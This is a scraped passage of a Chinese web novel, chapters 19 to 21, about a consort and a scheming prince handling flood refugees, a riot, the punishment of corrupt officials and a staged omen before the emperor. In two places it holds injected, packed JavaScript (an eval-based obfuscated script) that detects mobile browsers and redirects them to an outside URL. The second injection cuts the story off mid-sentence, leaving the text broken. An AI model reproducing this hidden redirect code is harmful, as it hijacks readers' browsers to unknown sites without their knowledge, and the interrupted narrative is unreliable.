一行人有惊无险地回到府上,安顿好惊魂未定的苏青后,房间里只剩下齐思铭和高玥两人。 房间里弥漫着淡淡地药草味,烛火摇曳,高玥静静地看着床上昏睡的苏青,他眉头紧锁,即便是在梦中也透着不安。 高玥的心情复杂,一个前途光明的读书人,一场腥风血雨的骚乱,而这一切,都只是齐思铭宏大棋盘上的一步。 她看着窗边那个静立的背影,他背上黑色的焦印还在提醒着她不久前那惊心动魄的一幕。 她望着他的背影,在心里无声地问。 齐思铭,在你这机关算尽,步步为营的二十多年里,可曾有一刻,有过真心? 今夜的一切,都在你的算计之中。 流民的愤怒,苏青的绝望,甚至是我身陷险境…… 这一切,是否都在你的剧本里? 救下我,是为了让我这枚棋子更忠诚,更死心塌地?还是在那电光火石之间,你根本来不及思考,身体先于理智做出了反应? 真心……对你而言,是什么呢? 齐思铭正在擦拭手上沾染的灰尘,像是察觉到了高玥的注视。 他转过身,凝视着高玥,不知道是不是她的错觉,有那么一瞬间,高玥好像在那双眼睛里,第一次看到了一丝真实的情绪。 那不是狠戾,也不是算计,而是一种近乎偏执的渴望和沉重的疲惫。 “推倒一堵墙很容易,”他缓缓开口,声音低沉而清晰,“但我想建一座新的。而他,就是第一块基石。” 19. 一念生死劫 一语定乾坤 连日的暴雨让整个王府都浸在一片潮湿的压抑中。 高玥端着一碗还冒着热气的安神汤,敲开了苏青的房门。 屋内光线昏暗,苏青就坐在桌旁,眼神空洞地盯着桌上的灯芯。 听到有人进来,他的眼睛动了动,看向高玥手中的那碗汤药。 “进来多日阴雨,你喝了这碗安神汤,可以睡个好觉。”高玥将碗放在他面前,语气尽量柔和。 苏青并没有直接喝药,他沉默了许久,久到高玥以为他不会有任何反应的时候,他却突然伸出手,端起了碗。 高玥心中刚松了口气,下一秒,苏青便扬起手,将整碗药汁毫不犹豫地泼在了地上。 “你!”那可是她不眠不休熬了整整七个时辰的药!连齐思铭都没有这种待遇! 苏青却扯了扯嘴角,缓缓开口说道,“安神?娘娘莫不是怕我睡不着,还是怕我想起太多我不该想的事情?” 高玥强压下怒气,冷声说道,“苏青,我们费了那么大劲把你从那里救出来,不是为了看你现在这样的。” “救?”苏青冷笑了一声,“从一个笼子换到另一个笼子,这也算救?” 他抬起眼,环视了这间屋子,“我现在在这里,像一件货物一样被你们藏着,喝着你们施舍的药,你们何必惺惺作态,摆出这副救世主的嘴脸?” 高玥深吸一口气,心头的火气反而被他这番话给浇灭,她不怒反笑。 “救世主?” “你未免也太高看你自己了。你以为我们把你弄出来,是为了听你在这里上演一出怀才不遇的悲情戏码吗?” “难道不是吗?”苏青讥讽道,“你们不就是想把我当成一件对付上面那些人的工具?我和那笼子里的鹦鹉,又有什么区别?” “当然有区别!”高玥反驳道,“鹦鹉被关久了,只会学舌,忘了怎么飞。” “而你是一把刀,一把本该插进敌人心脏的刀。可现在,这把刀却宁愿在这里生锈,也不愿出鞘!” “我……”苏青一时间被怼的哑口无言。 高玥没有给他喘息的机会,继续说道:“还有,我费心熬这碗药,不是让你安睡的,是让你清醒的。清醒地看看你自己,看看你现在这副人不人鬼不鬼的样子!” “你以为你是在折磨我们吗?不,你只是在折磨你自己,在践踏那些枉死之人的期望!” 她说完,不再看他一眼,转身便走。 “路,你自己选。” …… 外面是饥肠辘辘的灾民,府内是诡异的安静。 苏青拢了拢身上被雨水打湿的斗篷,悄悄站在远处一棵柳树的阴影下,目光穿过纷乱的人群,精准地锁定了那个身影。 他听下人说今日齐思铭会亲自帮助修缮河堤,却没想到会是这样的一副景象。 听说那个权倾朝野的男人如今正一身短装,和周围的士兵们一样,浑身沾满了黄泥,此时正接过一个沉甸甸的沙袋,向着堤坝上最危险的缺口稳稳走去。 一场完美的政治作秀。 苏青扯了扯嘴角,眼底尽是讥诮。 不过是些沽名钓誉罢了,他早已看透。 他的视线微微偏移,看向旁边不远处的粥棚。 那个女人挽着袖子,妩媚的脸上如今满是泥星,但她好似浑然不觉,仍一勺一勺地将热粥盛进破旧的碗里。 “蠢女人。”皇宫里的生活不好吗?非要跟着这种男人受罪。 他收回目光,却瞥见一个鬼鬼祟祟的男人混进施粥的队伍里。 “大家别喝这粥!这些人跟那些贪官是一伙的!” 一个瘦高的男人跳上一块石头,指着指着高玥大喊:“我亲眼看见,害得咱们家破人亡的那个奸臣走狗苏青,就被他藏在府里! 他们这是猫哭耗子假慈悲,想把我们骗到一块儿斩草除根!” 这话如同一颗火星,瞬间爆炸了灾民心中压抑的火药。 “什么?苏青在他府上?” “听说那个苏青是专门给那个狗官做假账的,此刻这些人跟他混在一起,能安的什么好心!” “我说呢,修什么河堤,原来是蛇鼠一窝!” “他们想杀人灭口!” 高玥下意识地看向面前那个刚接过粥的孩子,在他的眼中看到了自己错愕的脸,那点刚刚升起的对食物的渴望,瞬间被更浓烈的恐惧和愤怒所取代。 “坏女人!” 男孩猛地将手中的粥全都倒在高玥的脸上。 “她也是和贪官是一伙的!” “把他们都扔到河里去喂鱼!” 愤怒的灾民像是刚出笼的野兽,疯狂地向着粥棚涌来。 混乱中,高玥只觉得背后被人用尽全力狠狠一推,她脚下一个踉跄,身体完全失去了平衡,整个人不受控制地向后倒去。 “阿玥!” 高玥仿佛听到了有人在叫她,随即浑浊的泥浆瞬间灌满了她的口鼻,一股巨大的吸力把她向更深处拖去。 几乎是同一时刻,一只冰冷而有力的手紧紧地抓住了她的手腕,那股力量是如此蛮横,不带一丝平日的温和与试探。 她甚至来不及感受疼痛,整个人就被一股力量猛地往上拖拽。 “抓住我!”高玥觉得自己好像幻听了,她竟然听出了一丝惊慌。 这个男人也会有如此紧张的时候?但这个念头很快被打消。 侍卫们瞬间拔刀围了上来,试图将疯狂的灾民隔开,但疯狂的灾民已经丧失了理智,如同丧尸一般向前涌来。 齐思铭的眼神瞬间阴沉了下来,那一点残存的惊惶消失得无影无踪,取而代之的是足以将人杀死的冷意。 “放肆!”他的声音没有丝毫起伏。 “谁再敢闹事,格杀勿论!” 亲卫们“唰”地抽出佩刀,对准了正在蜂拥的灾民。 远处的苏青冷笑了一声。 看,这就是权贵者的真面目,那层悲天悯人的面具一旦被撕下,剩下的只会血腥的镇压。 就在他以为流血一触即发的时候,一只沾满泥污的手,轻轻按在了齐思铭即将挥下的手臂上。 是高玥。 她挣扎着从泥泞里撑起身体,扶着身旁一块石头稳稳地站了起来。 她没有看向齐思铭,只是用力地抹了一把脸,然后走向灾民。 一步,又一步。 “王爷的愤怒,是因为我,” 她的声音不大,却清晰地传入每个人耳中,“但我知道,各位的愤怒,不是因为我。” 喧嚣的人群诡异地安静了下来。 她环视众人,目光没有半分退缩:“你们的家没了,亲人散了,心里有怨,有恨,这没有错。如果我是你们,我只会比你们更愤怒,更绝望。” 高玥指了指王府的方向,厉声说道:“刚刚那人说的没错,苏青就在府里!” 一句话让刚刚安静下来的气氛再次被点燃,灾民议论纷纷,但谁也不敢上前。 “但不是座上宾,而是我们揪出来的,扳倒那些贪官的人证!” 她向前走了一步,继续说道:“你们恨贪官,我也恨!王爷更恨! 我们费尽心力把他弄来,就是要把那些真正害你们流离失所的恶人,一个个连根拔起!” “口说无凭!”人群中有人喊道。 “说得好!” 高玥立刻应声,她的目光仿佛燃烧着火焰,“信任当然不是靠嘴说的,是靠做的!从今日起,王府所有赈灾物资账目公开!” 她顿了顿,一字一句,掷地有声: “从今日起,粮食入库,你们的人一起点;开仓放粮,你们的人一起称!这粥是稠是稀,这药是真是假,这钱是花在了河堤上,还是进了谁的口袋里,你们亲自来看,亲自来查!” 全场一片死寂。 灾民们一时间面面相觑。 他们从未听过这样的话,也从未见过这些高高在上的大人物,竟然会让他们这些泥腿子去查账。 “若我今日说的有半个字是假话,便让我如同脚下的石头,分粉身碎骨!” 远处苏青的手不自觉地收紧。 他死死盯着那个站在泥泞中,身形单薄却仿佛有万丈光芒的女人,脑海中一片混乱。 某个他笃信了二十多年的认知,却在此刻裂开了一道细微的缝隙。 回到房中,高玥换上了一套干净的衣服,却毫无睡意。 她想起了白天挣扎在天灾中的百姓,沉默了片刻,吩咐翠儿:“去取些硬纸和剪刀来。” 齐思铭进来时,看到的就是这样一幅景象。 高玥坐在灯下,素手翻飞,不一会便将一张张硬纸片折叠成一只只栩栩如生的小鸟。 “这是什么?”他走过去,随意地拿起一只折好的小鸟,仔细端详起来。 “千纸鹤。”高玥应了一声,手上的动作没有停下,“在我的家乡,每当有人发生不好的事情的时候,如果可以折满九百九十九只千纸鹤,那个人就一定会转危为安。” 她拿起一只刚折好的千纸鹤,对着摇曳的烛光轻声说道:“我希望,这世间再无流离失所,人人皆有安身之所,人间处处海晏河清。” “海晏河清。”齐思铭低声重复着这四个字,像是听到了什么有趣的话一样。 “贵妃还真是天真的可爱。” 他将手中的千纸鹤放回桌上,看向窗外,想起了白天那些只被谣言轻轻一点,便开始躁动不安的灾民。 “这世上从来都没有神佛,也从不靠祈愿。安稳,不过是用血与骨铺出来的路。” 高玥手上的动作停了下来,她背对着齐思铭,脸上看不情绪。 过了很久,她一字一句地说道,“王爷说得对,江山是靠刀剑杀出来的。” “可人心不是。刀剑能让人畏惧,但我希望的,是杀出一个太平盛世后,这世上所有的人,都能心有所安。这,难道不是王爷想要的吗?” 人心…… 这两个字仿佛针尖一般刺入他内心。 他看着她桌前那一堆所谓祈愿的千纸鹤,第一次发现,这个他一直以为可以随意摆布的棋子,身体里竟藏着一个他完全陌生的灵魂。 他从不相信真心,正如他谋划过天下,算计过人心,却从未想过这条铺满血的路上,最终的风景是什么模样。 许久,他才缓缓开口,声音里听不出任何情绪。 “夜深了,休息吧。”说完,他便转身离去,仿佛只是过来此说了一句无关紧要的话。 夜深人静,高玥亲自端着安神的汤药,推开了苏青的房门。 苏青并未休息,正伏在案前,在一张草纸上奋笔疾书。 听到动静,他警惕地抬起头,下意识地想将草纸收起。 然而已经晚了,高玥瞥了一眼草纸上写的东西。 朱门酒肉锁春光墙外枯骨寒如霜 金樽玉盏盛民怨龙椅之上听断肠 苍天已死黄泉闭人间何处觅家乡 不如提剑斩蛇蟒血染山河换新章 字迹潦草,笔锋却带着一股压抑不住的悲愤,仿佛要将那张草纸划破。 “写的很好,”高玥将汤药放下,轻声说道,“但只说对了一半。” 苏青眼中闪过一丝冷笑,等着她的长篇大论。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315867|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高玥却根本没按他的预想出牌,而是话锋一转:“看得出你很痛恨权贵,尤其是像我与王爷这样的人。” 还没等苏青回答,她便自顾自地说了下去:“可你想过没有,无论是权贵还是百姓,都只是在同一个规则下行事的人。 你以为你推倒了几个权贵,其实不过是拔掉几根显眼的杂草,只要滋生杂草的土壤还在,明天,后天,它只会冒出更多的杂草来。而我们要做的是,改变土壤。” “改变土壤?”他咀嚼着这几个字,声音有些迷惑。 “对。”高玥的眼神此刻亮得惊人。 “我们要做的,是让规则去限制权利,而不是让权利成为规则。” 改变土壤……重写规则…… 苏青像是想到了什么似的,猛然抬头看向高玥。 “你……”那两个字呼之欲出,却又被他死死地按了回去。 他死死地盯着高玥,脸上是一种混杂着惊骇,以及难以置信的情绪。 他强迫自己冷静下来,紧紧握住笔,生怕自己下一秒就要捏碎。 “你说的这些,他……都知道?” 这个“他”,自然指的是齐思铭。 高玥没有回答。 这沉默,比任何回答都来的清晰。 他一直以为,齐思铭和高玥拉拢他,只是想利用他手中的账本,作为攻击政敌的武器。 可现在,这个女人却在他面前不是在谈论如何“复仇”,而是在探讨如何“建一座新城”。 他心中那个紧闭多年的大门,此刻正一点一点的被打开。 门外,一道身影静立在阴影中。 齐思铭本是放心不下,想来看看苏青的情况,却恰好听到了高玥后半段的谈话。 “你……”苏青刚想对高玥说“你让我想想”,眼角的余光却突然瞥见了门外的人影,他心中一动,一个念头浮了上来。 “娘娘如此相信王爷,难道就没有想过有一日,大船靠岸,掌舵人第一个要丢下海的,或许就是娘娘您这块压舱石?” 高玥闻言一愣,似乎被这个问题问住了。 她认真地思索了片刻,才缓缓开口,声音里没有半分矫饰。 “实不相瞒,哪怕是到现在,我都觉得他像一团看不透的迷雾。他的心思太深,手段太狠,常常会让人感到害怕。” 她顿了顿,话语里却染上了一丝旁人不易察觉的柔软。 “但相处久了,我才渐渐明白,他的每一步狠戾,每一次算计,都是在为自己踏出一条活路。 他只是……活得太辛苦了。 我想帮他,让他在这条路上走的不那么孤单。” 门外,齐思铭紧握的拳头,缓缓松开。 他转身离去,脚步无声,很快便于夜色融为一体。 跟在身后的王友快走几步,低声说道,“王爷。” 齐思铭没有停下脚步,只是发出了一声淡淡地“嗯”字。 “娘娘对您可真是情深义重。” 齐思铭的脚步倏然一顿。 “情深义重?”他笑了一声,“王友,你何时也变得这般天真了?她不过是枚聪明的棋子,知道哪艘船能载她到对岸罢了。” “她有什么手段,你还不知道吗?” 说完,他便不再理会王友,径直向前走去。 他推开房门,目光习惯性地扫过书案,然后突然定住。 在那一叠文书上,安静地卧着一只小小的千纸鹤。 幼稚,天真。 这是他长久以来的第一反应,但在指尖触碰到的那一刻,竟有了一丝细微的迟疑。 他嘲笑她的天真,告诫自己那不过是更高明的攻心之术。 可这只千纸鹤…… 它算什么? 最终,他还是将那只千纸鹤拈了起来,将它轻轻放在掌心,摩挲着那清晰的折痕,许久,他才缓缓收拢五指,将那只纸鹤完整地护在了掌心之中。 齐思铭走后,苏青刚想再说什么,却听见高玥又轻声补充了一句,那声音很低,像是在对自己说。 “但你说‘情’……我好像,从未真正想过这种事。” 她的语气里,带着一种纯粹理性的困惑,仿佛“情爱”这个词,本身就是一个超出她认知范畴的复杂概念。 高玥似乎看出了苏青的不解,她看向桌上的烛火,轻声说道:“或许你会觉得奇怪。但从很久以前开始,我的脑海里就一直有一个声音。” “它会告诉我,什么是对的,什么是错的。它会为我规划好每一步路,告诉我达成目标的最佳途径。就像现在,它告诉我,帮助那个人,就是我必须完成的使命。” 苏青看着眼前这个突然冷静地可怕的女人,一时间竟不知该作何反应。 原以为她对齐思铭的付出是源于深情,或是极致的野心,却没想到,答案竟是这样。 他沉默了许久,才缓缓开口:“那你自己呢?” 高玥抬起头,眼中充满不解:“什么我自己?” “那你可曾有过那么一瞬间,你是为了自己想要去做某件事,而不是因为别人,或是某个声音告诉你,你应该这么做?” 第二天一早,齐思铭的房门被敲响。 王友打开门,看到门外站着的竟是苏青,不由得吃了一惊。 他径直走了进去,却不是来说账簿的事情。 “通源钱庄,位于淮北朱雀大街南三巷,其背后的人,是富商钱通。” 他看着齐思铭和高玥,一字一顿地说道:“这个钱庄,掌管着整个北部超过七成的资金。这是他们的命脉,也是最难啃的一块骨头。” 20. 天道好轮回 苍天饶过谁 齐思铭的嘴角缓缓勾起,但那张温润的面容上已经多了几分狠厉。 “这件事我会去解决。”他冷冷说道,“不过眼下,还有一件更重要的事情。” 淮北城外,临时搭建的审判台下站满了乌泱一片的灾民。 高玥站在人群之后,远远望着。 黑压压的人群,与其说是人,倒不如说是行尸走肉,直到枷锁拖地的声音传来,那些死灰般的眼眸中,竟像是投入了一颗火星,瞬间燎原。 高玥看向审判台,齐思铭就站在那里,一身火红的飞鱼服使他在阴沉的天空下显得格外肃杀。 他手中拿着卷宗,只是静静地站着,冷漠而威严。 他的声音不高,却清晰地传入每一个人的耳中。 “河北知府,张承德,贪墨赈灾银三万两!” 话音刚落,一个骨瘦如柴的老者颤抖地指着台上的张承德,浑浊的眼中流下了泪水:“就是他!我的儿媳为了给孙儿换一口吃的,活活把自己卖了!可那粮食,是发了霉的啊,可怜我那孙儿,吃完那发霉的粮食一病不起!” 齐思铭面无表情,继续宣读。 “通判李牧,克扣官粮,以次充好,致使城中疫病横行!” “河道总督王显,偷工减料,致使河堤决口,淹没良田万顷,百姓家破人亡!” 每一桩罪名,都伴随着一个或数个受害灾民的血泪控诉。 台下的民愤汇聚成海啸,一声声“杀了他”几乎要掀翻这河北阴沉的天空。 那些官员们起初还满脸不屑,自恃官身,认为这不过是那个王爷笼络人心的把戏罢了。 可随着罪证一一陈列,听着那些曾经被他们视作蝼蚁的灾民的哭嚎,他们的脸色开始变得煞白,再到彻底的恐惧。 “行刑。” 齐思铭的声音不带任何温度,冷冷地下达了命令。 这并非简单的斩首。 那个侵吞赈灾银的张承德,被士兵强按着跪在台前,两大包沉甸甸的白银被堆在他高举的双手上。 “张大人。”齐思铭居高临下地看着张承德,眼中没有一丝波澜,“本王听说,你爱银如命。” 他微微俯身,轻轻拍了拍那装满银锭的麻袋,凑到张承德耳边,“既然你这么喜欢银子,那便让你最爱的银子陪你过夜吧。” 下一个,便是那通判李牧。 齐思铭挥了挥手,一名士兵端着一只破碗走到了李牧面前,碗里飘来了阵阵酸腐恶臭的味道。 那正是灾民们吃下后上吐下泻,造成疫病的霉米! 李牧拼命挣扎,但两个士兵死死按住他的肩膀,另一个则粗暴地捏开他的下颚,将那团令人作呕的霉米饭,硬生生灌进了他的喉咙! “不!老爷!爹!”他的妻女就在一旁,哭得撕心裂肺,她们被士兵拦着,却只能眼睁睁看着他被那足以致命的毒粮折磨得拼命干呕不止。 而草菅人命的河道总督王显,则被绑在了决堤口的木桩上。 浑浊的洪水裹挟着泥沙与断木,狠狠冲撞着他的身体,他涕泗横流,拼命挣扎,口中却只能发出不成调的哀嚎,可那声音刚一出口,便被滔天的水声彻底吞没。 就在他即将被卷入那吞噬一切的洪流的最后一刻,岸上的士兵猛地收紧了另一端的绳索,硬生生将他从死亡的边缘拖拽了回来,重重摔在泥泞之中。 一线生死,诛心之刑,莫过于此。 百姓们看着这些昔日作威作福的贪官落得如此下场,压抑已久的怨气终于得以宣泄,他们一遍遍高呼着齐思铭的名字。 “王爷英明!” “青天大老爷!” 齐思铭缓缓抬手,示意刽子手准备。 全场的情绪在这一刻达到了顶峰,所有人都屏住呼吸,等待那正义落下的一刀。 可就在刀锋即将落下之际,一阵华丽的车马銮铃声由远及近,穿透了人潮的喧嚣。 “刀下留人!” 这四个字,仿佛一盆兜头浇下的冰水,瞬间浇灭了全场的狂热。 百姓们愕然回头,只见一队身着明黄甲胄的禁军,护卫着一架极尽奢华的龙辇,缓缓驶来。 那明黄色的旗帜意味着什么,所有人都不由自主地跪了下来。 刽子手的刀停在半空,进退两难。 齐思铭缓缓转身,望着那紧闭着帘幕的龙辇,脸上温润的笑容已经消失,只剩下深不见底的阴冷。 他握紧了藏在袖中的手。 龙辇中传来温和的声音:“都平身吧。朕听闻此地遭了水患,心急如焚,特地赶来看看。” 但却无人敢起身,空气中弥漫着诡异的安静。 皇帝的声音再次响起,但这次是对着齐思铭说的:“思铭啊,你此雷厉风行,为民除害,朕心甚慰。” 齐思铭躬身行礼,声音平稳:“为陛下分忧,乃臣之本分。” “好,好一个本分。”皇帝轻笑了两声,话锋却陡然一转,“但国有国法,家有家规。这些毕竟是朝廷命官,纵有天大的罪过,也需交由大理寺三司会审,明正典刑,方能昭告天下。 来人,将人犯带走,好生看管。” 只是轻飘飘的一句话,便轻松夺走了齐思铭所有的处置权。 百姓们脸上的喜悦瞬间凝固,取而代之的是困惑,以及一丝不易察觉的恐惧。 只有高玥注意到了齐思铭长长的睫毛遮住了眸中的怒火。 她远远地看到禁军上前,将那些瘫软如泥的贪官们一一解开,押向囚车。 从始至终,那龙辇的车帘,连一丝缝隙都未曾掀开。 …… 夜色降临,临时行宫内却灯火通明。 高玥坐在席间,只觉得浑身仿佛爬满了细小的虫子,浑身都不自在。 而在她的对面,一个油光满面的男人整举着酒杯,谄媚地向主座上的齐思铭敬酒。 而这个人她可太熟悉了,正是前几天被她与齐思铭联手搞了的王员外。 “王爷日理万机,为河北的百姓操碎了心,下官感激不尽!”王员外笑的一脸褶子,“这些舞姬是下官特地从江南寻来的,不成敬意,还请王爷笑纳,也可以帮王爷解解乏。” 殿中,十数名身着薄纱的舞姬正扭动着纤细的腰肢,水袖翻飞,极尽魅惑。 空气中弥漫着酒气与女子身上浓郁的香粉味,熏得高玥头脑发昏。 “你有心了。”皇帝满意地点了点头。 外面如今正哀鸿遍野,而这里却一片歌舞升平,高玥只觉得胃里一阵翻江倒海。 她下意识地攥紧了筷子,却瞥见齐思铭手中正把玩着那只白玉酒杯,嘴边还噙着一抹惯有的温和笑意。 似乎正饶有兴致地欣赏着眼前的歌舞,还时不时的对王员外点头回应。 可经过这些日子相处下来,她可太懂齐思铭这个笑容意味着什么了。 皇帝夹了一块肥美的鹿肉,亲手放进齐思铭的碗中,笑呵呵地说道:“思铭啊,刀,有的时候太快了,容易伤到自己。” 齐思铭放下酒杯,起身谢恩。 皇帝摆摆手,示意他坐下,继续说道:“有些事,敲打敲打就行了,何必赶尽杀绝呢? 他们毕竟为朝廷效力多年,没有功劳也有苦劳,凡事留一线,日后好相见嘛。” 这话既是警告,也是在点齐思铭,“我的人”你也敢动? 齐思铭摩挲着酒杯,垂首低声道:“是臣行事鲁莽了,还请陛下恕罪。” “知错就好。”皇帝满意地点点头,端起酒杯。 皇帝饮下一杯酒,目光这才悠悠地转向高玥,刚刚那股子威严瞬间化作春水般的柔情。 “玥儿,”他长叹一声,声音里满是后怕与疼惜,“你知不知道,当时朕听闻你失踪的消息,只觉得五内俱焚,差点就随你一起去了!” 他演得情真意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她在那吃人的地方,对着你的仇人笑,饮着那杯最恶心的酒,走的每一步都可能是万丈深渊。” 苏青的目光重新落回齐思铭脸上,眼神锐利得仿佛能刺穿他所有的伪装。 齐思铭的酒杯悬在了半空,许久,才缓缓放下。 “我与她,并非你想象的那种关系。” 苏青闻言,噗嗤笑了出来,“哦?把人家骗上了船,如今船行至江心,你倒说跟你没关系了?” 他懒洋洋地往后一靠,双手抱胸,上上下下打量着齐思铭,像是在看什么稀罕物件。 “我就不知道了,”苏青的语气中带着几分玩味,“你到底有什么好的?偏叫人看上了,一个两个的,还都嘴硬得很。” 齐思铭的脸色瞬间沉了下去,他没有反驳,因为无从反驳。 见他这副模样,苏青也不再多言,只是重新提起酒壶,为两人将空杯斟满。 月光如水,洒在寂静的庭院里,没有了言语的交锋,只剩下苦酒入喉的细微和那压抑在心底,却说不清道不明的沉重情绪。 次日清晨,高玥记挂着那些灾民,便独自上街,想搜寻些可以治疗疫病的药材。她包好了药材,正欲转身离开,却无意中听到了邻桌的谈话。 “要我说啊,这次咱们河北能得救,全靠太子殿下!”一个商人模样的男子高声道。 “可不是嘛!我听说,是太子殿下在陛下面前力谏,才派了王爷来彻查此案。王爷不过是执行之人,真正心系咱们百姓的,是太子殿下啊!” “没错没错,太子仁德,真乃我大胤之福!” 一夜之间,从茶馆传到街头巷尾,几乎每一个角落都在传颂着太子齐思安的仁德与功绩。 高玥手持着那包刚买的伤药,愣在原地。 他们拼死拼活,到头来,不过是为他人作嫁衣裳。 21. 鹿死谁手风云起 “王爷!” 齐思铭正坐在案前查看卷牍,这几日的灾情愈发的眼中,他的眼中蒙上了一层寒霜。见到王友急匆匆地进来,只是淡淡地吐出一个字,“说。” “城外安置灾民的粥棚,已经断粮一日了!下官带人去府衙催粮,可那群狗官,他们竟说库府空虚,一粒米都拿不出来!”王友的声音有些激动。 “陛下如今就在这里,可那群狗官却好似更加狂妄!” 齐思铭并未回答,可王友能感觉到,他周身的气压已经开始下降,冷得让人发颤。 王友咬了咬牙,继续道,“咱们昨日审判的王承德……听说他如今不仅无罪释放,昨日还……还在家里设宴,说是要庆贺太子殿下心怀万民,解救河北于水火……” 话音未落,只听“啪”的一声脆响。 齐思铭手中的笔被他生生掐成两截。 他缓缓抬起头,幽深的眸子中再无一丝波澜。 他站起身,将手中两截的毫笔扔在桌上,走到王友面前,一字一句地说道,“随本王去看看,看看太子殿下,是如何心怀万民的。” 就在他与王友正要出门的时候,一个侍立在廊下的小厮脸上闪过一丝犹豫,想上前又不敢上前的样子,最终还是硬着头皮快步跟了上来,在齐思铭身后几步远的地方停住,深深垂下头。 “何事?” 那小厮的身子几不可察地抖了一下,低声禀报:“王爷,贵妃那边传来消息,说她今早偶感风寒,浑身乏力,起不来了。” 齐思铭脚步顿住,声音听不出喜怒:“风寒?行宫里有的是御医,让他们去看便是,报与我作甚。” 他言罢便抬步要走。 刚走了两步,脑海中却闪过昨夜宴席上的画面。 高玥端着酒壶,笑意盈盈地为皇帝斟酒,那笑容明媚又乖巧,搅得他心里一阵烦躁。 半晌,他侧过头,对王友沉声道:“你先去城外稳住灾民,就说本王随后就到。粮食的事,本王自有办法。” 王友虽有不解,但还是立刻拱手领命,快步离去。 待王友的身影消失在院门外,齐思铭才缓缓转过身,方向却不再是府门,而是径直朝着高玥所住的偏殿走去。 他倒要看看,她这葫芦里,究竟卖的是什么药。 高玥的卧房内,她正虚弱地半躺在床上,脸色苍白,拿着手帕时不时轻咳两声,旁边的小宫女翠儿满脸焦急地为她抚背顺气。 齐思铭屏退了下人,独自走了进去。 他未立刻开口,只是站在床边,居高临下地看着她。 高玥见齐思铭来了,一双水灵灵的眼睛此刻蒙着水雾,声音中带着虚弱的沙哑:“你怎么来了……我没事的,就是头有些晕……咳咳……你快去忙你的正事吧。” 齐思铭却一言不发,那双深不见底的眸子牢牢锁在她的脸上。 他缓缓俯下身,高大的身躯带着一股无形的压迫感笼罩下来。 温热的呼吸带着一丝若有似无的木松香,尽数喷洒在她的脸颊和耳廓上,激起一阵细微的战栗。 高玥莫名有些心虚地别开了脸。 他却伸出手,将滑落到她腰间的锦被,轻轻向上拉了拉,严丝合缝地掖好她的被角,动作温柔得仿佛是在对待一件稀世珍宝。 就在高玥以为他会说些什么的时候,那只刚刚还替她掖着被角的手,却猛地抬起,一把攥住了她露在被子外的手腕。 力道之大,不容抗拒。 高玥的身体瞬间僵住。 “脉象平稳有力,气息悠长。”齐思铭缓缓开口,声音不大,“贵妃这风寒,病得可真是清奇。” 他松开了她的手腕,却并未起身。 反而身体压得更低,一手撑在她的耳侧,另一只手越过她的身体,按在了另一边的床榻上。 高玥整个人都被结结实实地笼罩在了他的阴影之下。 这姿势太过亲密,也太过危险。 她甚至能看清他根根分明的睫毛,以及那双幽深眼眸里,映出的自己此刻的惊慌失措。 “别演了。”他的声音低沉,“你到底在耍什么手段?” “我能耍什么手段……”高玥嘴里嘟囔道。 但是齐思铭显然不满意这个回答,审视的目光依旧。 高玥被他看得心虚,眼神飘忽:“行了别看了!我就是不想让你出门!” “为什么?”齐思铭步步紧逼。 看着他不容置喙的眼神,高玥知道自己再也瞒不下去。 她只得把自己听到的那些流言蜚语,以及自己的担忧都说了出来。 “所以,你就用这种蠢办法,想把我关在屋里?”他直起身,气的轻笑了一声。 高玥被他那句“蠢办法”气得心头一梗,索性也不装了,从床上坐了起来。 “我也不是全装的,我确实是有些不舒服嘛……”她的声音说得越来越小,“你都没听到,外面那些人怎么夸太子的!” 这一定是皇后的手笔。 听到“太子”两个字,齐思铭脸上的笑意瞬间褪去。 他看着高玥,声音平静却带着不容置喙,“那这么说,今天这个门,我是非出去不可了。” “而且,他们既然把戏台子搭好了,我若是不上去唱一出,岂不是太不给面子了?” …… 行宫的另一侧,威严肃穆的正殿内,檀香袅袅。 当今圣上,正高坐于龙椅之上,此刻正带着几分审视,看着殿下跪着的一个身影。 “清虚真人,”皇帝的声音低沉而洪亮,“你所言的‘祥瑞’,朕此番亲临河北,就是为了一睹其真容。此事,可有万全的把握?” 被称作清虚真人的道士闻言,将拂尘轻轻一甩,稽首道:“回禀陛下,天机不可泄露,然神物自有感应。陛下乃真龙天子,仁德之君,贫道夜观天象,卜算方位,那五彩神鹿明日会于盘龙谷现身,沐浴天光,以彰陛下圣明!” 第二日。 观景台上,皇帝端坐中央,皇后与太子分坐其左右。 清虚真人则在台前设下法坛,口中念念有词,焚烧符纸。 就在众人等得有些不耐烦时,齐思安忽然指向东边的山坡,惊喜地喊道:“父皇请看!” 远处山谷的薄雾中,果真出现了一头通体雪白、头顶鹿角散发五彩光晕的“神鹿”。 那鹿的鹿角莹白如玉,皮毛在晨曦的映照下,竟真的泛着红、黄、青、白、黑五色流光,姿态优雅从容,宛如天界神物落入凡尘。 一瞬间,林中百鸟齐飞。 “祥瑞!当真是祥瑞啊!”皇帝“霍”地一下从座位上站起,脸上是毫不掩饰的激动与喜悦。 高玥内心嗤笑,不过是利用山中雾气折射光线的把戏罢了,再掺些会发光的矿物粉末,哄骗这些古人绰绰有余。 百官见状,纷纷跪拜,高呼“天佑大胤,陛下仁德。” 高玥向后瞥了一眼,观景台外不远处,就是衣衫褴褛、面黄肌瘦的灾民。 这些平日里锦衣玉食的贵族,对着虚假的祥瑞顶礼膜拜,却对真正的民间疾苦视而不见。 高玥不禁握紧了拳头。 就在这一片和谐的氛围中,那头“神鹿”被驯养人引着,缓缓走向观景台前,准备接受皇帝的赐福。 可就在它距离高台不足十丈远时,异变陡生! 